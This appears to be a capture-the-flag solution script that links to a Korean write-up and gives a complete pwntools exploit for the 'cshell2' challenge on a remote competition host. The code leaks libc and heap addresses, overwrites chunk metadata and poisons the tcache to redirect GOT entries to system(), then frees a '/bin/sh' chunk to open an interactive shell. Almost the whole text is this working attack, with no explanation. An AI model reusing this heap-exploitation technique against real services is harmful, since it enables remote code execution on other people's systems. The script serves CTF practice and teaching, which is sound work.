detail (korean) -> https://mi-sutga-ru.tistory.com/9```#!/usr/bin/python3# MIsutgaRU
from pwn import *
#s = process("./cshell2")s = remote("be.ax", 31667)
def menu(index):	s.recvuntil(b"user\n")	s.sendline(index)
def add(index, size, first, middle, last, age, bio):	menu(b"1")	s.recvuntil(b"index: ")	s.sendline(str(index).encode())	s.recvuntil(b"minimum): ")	s.sendline(str(size).encode())	s.recvuntil(b"firstname: ")	s.sendline(first)	s.recvuntil(b"middlename: ")	s.send(middle)	s.recvuntil(b"lastname: ")	s.send(last)	s.recvuntil(b"age: ")	s.sendline(str(age).encode())	s.recvuntil(b"bio: ")	s.sendline(bio)
def show(index):	menu(b"2")	s.recvuntil(b"index: ")	s.sendline(str(index).encode())	s.recvuntil(b"A"*976)
def delete(index):	menu(b"3")	s.recvuntil(b"index: ")	s.sendline(str(index).encode())
def edit(index, first, middle, last, age, bio):	menu(b"4")	s.recvuntil(b"index: ")	s.sendline(str(index).encode())	s.recvuntil(b"firstname: ")	s.sendline(first)	s.recvuntil(b"middlename: ")	s.sendline(middle)	s.recvuntil(b"lastname: ")	s.sendline(last)	s.recvuntil(b"age: ")	s.sendline(str(age).encode())	s.recvuntil(b"bio: (max ")	size = int(s.recvuntil(")")[:-1]) + 32 log.info(hex(size))	s.recvuntil(b"\n")	s.send(bio)
def re_age(index, age):	menu(b"5")	s.recvuntil(b"index: ")	s.sendline(str(index).encode())	s.recvuntil(b"age: ")	s.sendline(str(age).encode())
names = 0x4040c0 #bss addressgot = 0x404010free_got = 0x404018puts_got = 0x404020printf_got = 0x404030malloc_got = 0x404040
#pause()add(0, 1032, b"a", b"b", b"c", 10, b"A")add(1, 2032, b"A", b"B", b"C", 20, b"B")add(2, 1032, b"aa", b"bb", b"cc", 30, b"C")delete(1)edit(0, b"aa", b"bb", b"cc", 11, b"A"*976)show(0)leak = u64(s.recv(6).ljust(8, b"\x00"))log.info(hex(leak))libc = leak - 0x1c7cc0log.info(hex(libc))
edit(0, b"aa", b"bb", b"cc", 11, b"A"*968+p64(0x801))add(3, 1032, b"A", b"B", b"C", 20, b"B")menu(b"2")s.recvuntil(b"index: ")s.sendline(b"3")s.recvuntil(b"last: ")heapbase = u64(s.recv(4).ljust(8, b"\x00")) - 0x643log.info(hex(heapbase))heap = int(heapbase/0x1000)system = libc + 0x470d0puts = libc + 0x71ab0scanf = libc + 0x4cb40
#pause()add(4, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")add(5, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")delete(3)delete(5)edit(4, b"/bin/sh", b"/bin/sh", b"/bin/sh", 20, b"A"*976+p64(got^heap+0x1))add(6, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")add(7, 1032, b"\x00", p64(system), p64(puts), 10, p64(scanf))delete(4)
s.interactive()
```